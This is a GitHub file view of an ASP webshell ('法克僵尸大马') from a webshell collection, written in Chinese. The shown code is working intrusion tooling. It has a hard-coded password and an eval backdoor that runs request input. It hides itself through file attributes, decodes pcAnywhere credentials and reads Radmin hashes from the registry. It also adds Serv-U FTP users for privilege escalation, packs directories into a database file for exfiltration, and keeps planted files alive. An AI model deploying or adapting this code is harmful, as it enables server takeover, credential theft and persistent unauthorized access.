forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path法克僵尸大马 (1).asp
2061 lines (2034 loc) · 97.6 KB
/
法克僵尸大马 (1).asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%
UserPass="admin" '密码
'--------------------------------------------------------------------
mNametitle ="法克僵尸大马" ' 标题
Copyright="sb" '版权
SItEuRl="http://www.7jyewu.cn/" '你的网站
bg ="http://www.7jyewu.cn/shell/akill.jpg" '背景图片,不使用留空
ysjb=true '是否有拖动效果,true为是,false为否
'增加PR查询功能，增加删除带点文件夹
'美化程序,优化代码.
'借用双刀图片，如果想要改图片请自行修改地址
'--------------------------------------------------------------------
Server.ScriptTimeout=999999999
Response.Buffer =true
BodyColor="#000000"
FontColor="#b4a9a9"
LinkColor="#ffffff"
On Error Resume Next
strBAD="If Request(""#"")<>"""" Then Session(""#"")=Request(""#"")"&VbNewLine
strBAD=strBAD&"If Session(""#"")<>"""" Then Execute(Session(""#""))"
Const DEfd=""
sub ShowErr()
If Err Then
j"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Sub j(str)
response.write(str)
End Sub
sub RaPath(s)
RaPath=ExecuteGlobal(s)
End sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
URL=Request.ServerVariables("URL")
ScriptPath=Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
FolderPath=Request("FolderPath")
u=request.servervariables("http_host")&url
domain=Request.ServerVariables("http_host")
url=request.servervariables("url")
uu=request.servervariables("http_host")&url
pp=userpass
FName=Request("FName")
cdx="<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#191919'"">":cxd="<font face='wingdings'>8</font>":ef="</a></td></tr>"
set fso=server.CreateObject(CONST_FSO)
set fsoX=server.CreateObject(CONST_FSO)
str1="http://"&Request.ServerVariables("SERVER_Name")& left(Request.ServerVariables("URL"),InstrRev(Request.ServerVariable("URL"),"/"))
BackUrl="<br><br><center><a href='javascript:history.back()'>返回</a></center>"
j "<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312""><title>"&mNametitle&" - "&ServerIP&" </title><style type=""text/css"">span.underline{text-decoration:underline;}span.orange{color:#B3D169;}span.project_type{text-align:right}span.grey{color:#666;}#links{list-style-type:none;padding:20px 0 0 0;padding-left:20px;}#linklist2 td{color:#fff;background:#191919;}#linklist2 td:visited{color:#999;}#linklist2 td:hover{background:#B3D169;color:#191919;}body,tr,td{margin-top: 5px;background-color: #000000;color: #b4a9a9;font-size: 12px;SCROLLBAR-FACE-COLOR: #232323;scrollbar-arrow-color: #383839;scrollbar-highlight-color: #383839;scrollbar-3dlight-color: #dddddd;scrollbar-shadow-color: #232323}.sb{cursor: hand}input,select,textarea{border-top-width: 1px;font-weight: bold;border-left-width: 1px;font-size: 11px;border-left-color: #dddddd;background: #000000;border-bottom-width: 1px;border-bottom-color: #dddddd;color: #dddddd;border-top-color: #dddddd;font-family: verdana;border-right-width: 1px;border-right-color: #dddddd;}#d{background: #121212;padding-left: 5px;padding-right: 5px;font-color: #fff}pre{font-size: 11px;font-family: verdana;color: #dddddd;}hr{color: #dddddd;background-color: #dddddd;height: 5px;}#x{font-family: verdana;font-size: 13px}a{color: #ffffff;text-decoration: none;}.am{color: #b4a9a9;font-size: 11px;}</style>"
j"<script>function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm(""确认要执行此操作吗？""))return true;else return false;}function runClock(){theTime = window.setTimeout(""runClock()"", 100);var today = new Date();var display= today.toLocaleString();window.status=""→"&Copyright&" --""+display;}runClock();function ShowFolder(Folder){top.addrform.FolderPath.value = Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value = FName;if(FAction==""CopyFile""){DName = prompt(""请输入复制到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFile""){DName = prompt(""请输入移动到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""CopyFolder""){DName = prompt(""请输入移动到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFolder""){DName = prompt(""请输入移动到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""NewFolder""){DName = prompt(""请输入要新建的文件夹全名称"",FName);top.hideform.FName.value = DName;}else{DName = ""Other"";}if(DName!=null){top.hideform.Action.value = FAction;top.hideform.submit();}else{top.hideform.FName.value = """";}}</script>"
j"<body" :If Action="" then j " scroll=no":j ">"
Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "文 件 操 作 组 件":ObT(1,0) = "wscript.shell":ObT(1,2) = "命令行执行组件,显示'<font color=red>×</font>'时用<a href='?Action=cmdx' target='FileFrame'> <font color=red> 执行Cmd二</font></a> 此功能执行":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 建 库 组 件":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 压 缩 组 件":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "数据流 上 传 辅助 组件":ObT(5,0) = "Adodb.connection":ObT(5,2) = "数据库 连接 组件":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "数据流 上传 组件":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 文件 上传 组件":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "刘云峰 文件 上传 组件":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 文件 上传 组件":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 邮件 收发 组件":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "虚拟SMTP 发信 组件":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 发信 组件":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "数据 传输 组件"
ObT(14,0) = "ws"&"cript.shell.1": OBt(14,2) = "如果wsh被禁，可以改用这个组件":OBT(15,0) = "WS"&"CRIPT.NETWORK": OBt(15,2) = "查看服务器信息的组件，有时可以用来提权":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation 操作，无FSO时操作文件以及执行命令":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation 的别名，无FSO时操作文件以及执行命令":OBT(18,0) = "Shell.Users":OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件"
For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" √":Else:IsObj=" ×":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if
Function PcAnywhere4()
j"<div align='center'>PcAnywhere提权 Bin版本</div><form name='xform' method='post'><table width='80%'border='0'><tr><td width='10%'>cif文件: </td><td width='10%'><input name='path' type='text' value='C:\Documents and Settings\All Users\Application Data\\Symantec\pcAnywhere\Citempl.cif' size='80'></td><td><input type='submit' value=' 提交 '></td></table>"
end Function
j"</form><script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script>"
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hexdec = result
End Function
sub promyself()
On Error Resume Next
set f=fso.GetFile(ScriptPath)
if f.Attributes <> 39 and session("lock")="" then
f.Attributes=1+2+4+32
end if
set f=nothing
end sub
promyself
Function PcAnywhere(data,mode)
HASH= Mid(data,3)
If mode = "pass" Then number = 32: Cifnum = 144
If mode = "user" Then number = 30: Cifnum = 15
For i = 1 To number Step 2
pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
If ((pcstr <= 32) Or (pcstr>127)) Then Exit For
decode = decode + Chr(pcstr)
Cifnum=Cifnum+1
Next
PcAnywhere=decode
End function
Function bin2hex(binstr)
For i = 1 To LenB(binstr)
hexstr = Hex(AscB(MidB(binstr, i, 1)))
If Len(hexstr)=1 Then
bin2hex=bin2hex&"0"&(LCase(hexstr))
Else
bin2hex=bin2hex& LCase(hexstr)
End If
Next
End Function
CIF = Request("path")
If CIF <> "" Then
BinStr=StreamLoadFromFile(CIF)
j"Pcanywhere Reader ==><br><br>PATH:"&CIF&"<br>帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
j"<br>密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
End If
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
j"<br>注意:读出HASH值后用RadminHash工具或od调试连接，工具下载地址:"&htp&"soft/Radmin_hash.rar<br><br>"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
j Parameter&":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
j strobj
Else
j"Error! Can't Read!"
End If
j"<br><br>"
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
j Port &":"
j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
j"Error! Can't Read!"
End If
End Function
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function
Function MainForm()
j "<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame""><input type=""hidden"" name=""Action""><input type=""hidden"" name=""FName""></form><table width='100%'><form name='addrform' method='post' action='"&URL&"' target='_parent'><tr><td width='60' align='center'><input type='button' value='Address'></td><td><input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'></td><td width='140' align='center'><input name='Submit' type='submit' value='GO'> <input type='submit' value='Refresh' onclick='FileFrame.location.reload()'></td></tr></form></table>"
j"<td><a class=am href='javascript:ShowFolder(""C:\\Program Files"")'>(1)【Program】<a><a class=am href='javascript:ShowFolder(""d:\\Program Files"")'>(2)【ProgramD】<a><a class=am href='javascript:ShowFolder(""e:\\Program Files"")'>(3)【ProgramE】<a><a class=am href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Documents"")'>(4)【Documents】<a><a class=am href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\"")'>(5)【All_Users】<a><a class=am href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\"")'>(6)【開始_菜單】<a><a class=am href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\"")'>(7)【程_序】<a><a class=am href='javascript:ShowFolder(""C:\\recycler"")'>(8)【RECYCLER(C:\)】<a><a class=am href='javascript:ShowFolder(""D:\\recycler"")'>(9)【RECYCLER(d:\)】<a><a class=am href='javascript:ShowFolder(""e:\\recycler"")'>(10)【RECYCLER(e:\)】<a>":j"<br><a class=am href='javascript:ShowFolder(""C:\\wmpub"")'>(1)【wmpub】<a><a class=am href='javascript:ShowFolder(""C:\\WINDOWS\\Temp"")'> (2)【TEMP】<a> <a class=am href='javascript:ShowFolder(""C:\\Program Files\\RhinoSoft.com"")'>(3)【ServU(1)】<a><a class=am href='javascript:ShowFolder(""C:\\Program Files\\ServU"")'>(4)【ServU(2)】<a> <a class=am href='javascript:ShowFolder(""C:\\WINDOWS"")'>(5)【WINDOWS】<a> <a class=am href='javascript:ShowFolder(""C:\\php"")'>(6)【PHP】<a> <a class=am href='javascript:ShowFolder(""C:\\Program Files\\Microsoft SQL Server\\"")'>(7)【Mssql】<a><a class=am href='javascript:ShowFolder(""c:\\prel"")'>(8)【prel文件夹】<a> <a class=am href='javascript:ShowFolder(""c:\\docume~1\\alluse~1\\Application Data\\Symantec\\pcAnywhere"")'>(9)【pcAnywhere】<a> <a class=am href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\桌面"")'>(10)【Alluser桌面】<a>":j"</td>"
j "<table width='100%' height='95.5%' style='border:1px solid #000000;' cellpadding='0' cellspacing='0'><td width='160' id=tl><iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='0'></iframe></td><td width=1 style='background:#000000'></td><td width=1 style='padding:2px'><a onclick=""document.getElementById('tl').style.display='none'"" href=##><b>隐藏</b></a><p><a onclick=""document.getElementById('tl').style.display=''"" href=##><b>显示</b></a></p></td><td width=1 style='background:#424242'><td><iframe name='FileFrame' src='?Action=Show1File' width='100%' height='100%' frameborder='1'></iframe></tr></form></table></td></tr><tr></tr></table>"
if session("aase") <> "ok" then:response.write Efun:session("aase")="ok":end if
End Function
Sub PageAddToMdb()
Dim theAct, thePath
theAct = Request("theAct")
thePath = Request("thePath")
Server.ScriptTimeOut=100000
If theAct = "addToMdb" Then
addToMdb(thePath)
j "<div align=center><br>操作完成!</div>"&BackUrl
Response.End
End If
If theAct = "releaseFromMdb" Then
unPack(thePath)
j "<div align=center><br>操作完成!</div>"&BackUrl
Response.End
End If
j"<br>文件夹打包:<form method=post><input type=hidden name=""#"" value=Execute(Session(""#""))><input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80><input type=hidden value=addToMdb name=theAct><select name=theMethod><option value=fso>FSO</option><option value=app>无FSO</option></select><input type=submit value='开始打包'><br><br>注: 打包生成HSH.mdb文件,位于sam木马同级目录下</form><hr/>文件包解开(需FSO支持):<br/><form method=post><input type=hidden name=""#"" value=Execute(Session(""#""))><input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & "\HSH.mdb"" size=80><input type=hidden value=releaseFromMdb name=theAct><input type=submit value='解开包'><br><br>注: 解开来的所有文件都位于本程序目录下</form>"
End Sub
Sub addToMdb(thePath)
On Error Resume Next
Dim rs, conn, stream, connStr, adoCatalog
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HSH.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If Request("theMethod") = "fso" Then
fsoTreeForMdb thePath, rs, stream
Else
saTreeForMdb thePath, rs, stream
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Function fsoTreeForMdb(thePath, rs, stream)
Dim item, theFolder, folders, files, sysFileList
sysFileList = "$HSH.mdb$HSH.ldb$"
If Server.CreateObject(CONST_FSO).FolderExists(thePath) = False Then
showErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = Server.CreateObject(CONST_FSO).GetFolder(thePath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
End Function
Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut=100000
Dim rs, ws, str, conn, stream, connStr, theFolder
str = Server.MapPath(".") & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If Server.CreateObject(CONST_FSO).FolderExists(str & theFolder) = False Then
createFolder(str & theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Dim Filepaths
set Filepaths=new SearchFile
Filepaths.Class_Folder Filename
Sub createFolder(thePath)
Dim i
i = Instr(thePath, "\")
Do While i > 0
If Server.CreateObject(CONST_FSO).FolderExists(Left(thePath, i)) = False Then
Server.CreateObject(CONST_FSO).CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
Sub saTreeForMdb(thePath, rs, stream)
Dim item, theFolder, sysFileList
sysFileList = "$HSH.mdb$HSH.ldb$"
Set theFolder = saX.NameSpace(thePath)
For Each item In theFolder.Items
If item.IsFolder = True Then
saTreeForMdb item.Path, rs, stream
Else
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
Set theFolder = Nothing
End Sub
Function ProFile()
If Request("Action2")="Post" Then
Randomize
dim pass2,num1
pass2=""
Do While Len(pass2)<8
if Len(pass2)<=4 then
num1=CStr(Chr((122-97)*rnd+97)) 'a~z
else
num1=CStr(Chr((57-48)*rnd+48)) '0~9
end if
pass2=pass2&num1
loop
pass2=ucase(pass2)
Application(pass2)=1
Application(pass2&"File")=request("AFile")
Application(pass2&"Code")=request("ACode")
Application(pass2&"Time")=request("ATime")
Application(pass2&"Char")=request("AChar")
j"<br><br><br><center>保护进程 <font color=yellow>"&pass2&"</font> 生成成功！点击<a style=""text-decoration:underline;font-weight:bold"" href="&URL&"?ProFile="&pass2&" target=_blank>这里</a>启动进程。</center><br>"
Response.End
End If
SI="<br><table border='0' cellpadding='0' cellspacing='0'>"
SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=ProFile&Action2=Post'"
SI=SI&"<tr><td valign=top style='line-height:22px' align=right><input type=""hidden"" name=""vvva"" value=""0"">需要保护的文件路径：<br><font color=yellow>可同时保护多个文件 <br>每行一个文件路径 </font></td><td>"
SI=SI&"<textarea name=""AFile"" cols=""70"" rows=""7"">"&RRePath(Session("FolderPath")&"\test.asp")&"</textarea></td></tr>"
SI=SI&"<tr><td valign=top style=""padding-top:3px;"" align=right>文件代码：</td><td><textarea name=""ACode"" cols=""70"" rows=""7"">文件代码</textarea></td></tr>"
SI=SI&"<tr><td align=right>文件编码：</td><td><input type=""radio"" name=""AChar"" value=""1"" checked />GB2312 <input type=""radio"" name=""AChar"" value=""2"" />UTF-8 (访问文件若出现乱码，请尝试更改编码)</td></tr>"
SI=SI&"<tr><td align=right>保护频率：</td><td><input type=""text"" name=""ATime"" style=""text-align:right"" value=""1"" size=""5"" onkeyup=""value=value.replace(/[^\d]/g,'')"" /> 秒 (最小为1秒，需要保护的文件越多，频率设置越大，否则无法全部保护)</td></tr>"
SI=SI&"<tr><td> </td><td height=50><input type='submit' name='Submit' value='下一步，生成保护进程'></td></tr>"
SI=SI&"</form></table>"
j SI
End Function
Function suftp()
j"<center><br><form name='form1' method='post' action=''><table width='500'><tr align='center' valign='middle'><td colspan='2' id=s><font face=webdings>8</font> <B>集成版本信息</b></td></tr><tr align='center'><td id=d>系统账号：</td><td id=d><input name='duser' type='text' class='TextBox' id='duser' value='LocalAdministrator'></td></tr><tr align='center'><td id=d>系统口令：</td><td id=d><input name='dpwd' type='text' class='TextBox' id='dpwd' value='#l@$ak#.lk;0@P'></td></tr><tr align='center'><td id=d>系统端口：</td><td id=d><input name='dport' type='text' class='TextBox' id='dport' value='43958'></td></tr><tr align='center'><td id=d>新加账号：</td><td id=d><input name='tuser' type='text' class='TextBox' id='tuser' value='invader'></td></tr><tr align='center'><td id=d>新加口令：</td><td id=d><input name='tpass' type='text' class='TextBox' id='pass' value='1'></td></tr><tr align='center'><td id=d>访问路径：</td><td id=d><input name='tpath' type='text' class='TextBox' id='tpath' value='C:\'></td></tr><tr align='center'><td id=d>服务端口：</td><td id=d><input name='tport' type='text' class='TextBox' id='tport' value='21'></td></tr><tr align='center'><td id=d>执行任务：</td><td id=d><input name='radiobutton' type='radio' value='add' checked class='TextBox' id=d>确定添加 <input type='radio' name='radiobutton' value='del' class='TextBox' id=d>确定删除</td></tr><tr align='center' valign='middle'><td colspan='2' id=d><input type='submit' name='Submit' value='Just Go'> <input type='reset' name='Submit2' value='Reset'><input name='SUaction' type='hidden' id='action' value='1'></td></tr></table></form></center>"
Usr = request.Form("duser")
pwd = request.Form("dpwd")
port = request.Form("dport")
tuser = request.Form("tuser")
tpass = request.Form("tpass")
tpath = request.Form("tpath")
tport = request.Form("tport")
'Command = request.Form("dcmd")
if request.Form("radiobutton") = "add" Then
leaves = "User " & Usr & vbcrlf
leaves = leaves & "Pass " & pwd & vbcrlf
leaves = leaves & "SITE MAINTENANCE" & vbcrlf
leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _
"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf
On Error Resume Next
Set xPost = CreateObject("MSXML2.XMLHTTP")
xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True
xPost.Send(leaves)
Set xPOST=nothing
j ("命令成功执行！！FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)<br><BR>")
else
leaves = "User " & Usr & vbcrlf
leaves = leaves & "Pass " & pwd & vbcrlf
leaves = leaves & "SITE MAINTENANCE" & vbcrlf
leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf
Set xPost3 = CreateObject("MSXML2.XMLHTTP")
xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True
xPost3.Send(leaves)
Set xPOST3=nothing
end if
End Function
Function MainMenu()
j"<script language=javascript>function MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}</script><table width='100%' cellspacing='0' cellpadding='0'><tr><td height='5'></td></tr><tr><td><center><font color=pink><font size=1.0>"&mName&"</font></font></center><hr color=#424242 size=1 ></td></tr>":If ObT(0,1)=" ×" Then
j"<tr><td height='24'>无权限</td></tr>"
Else
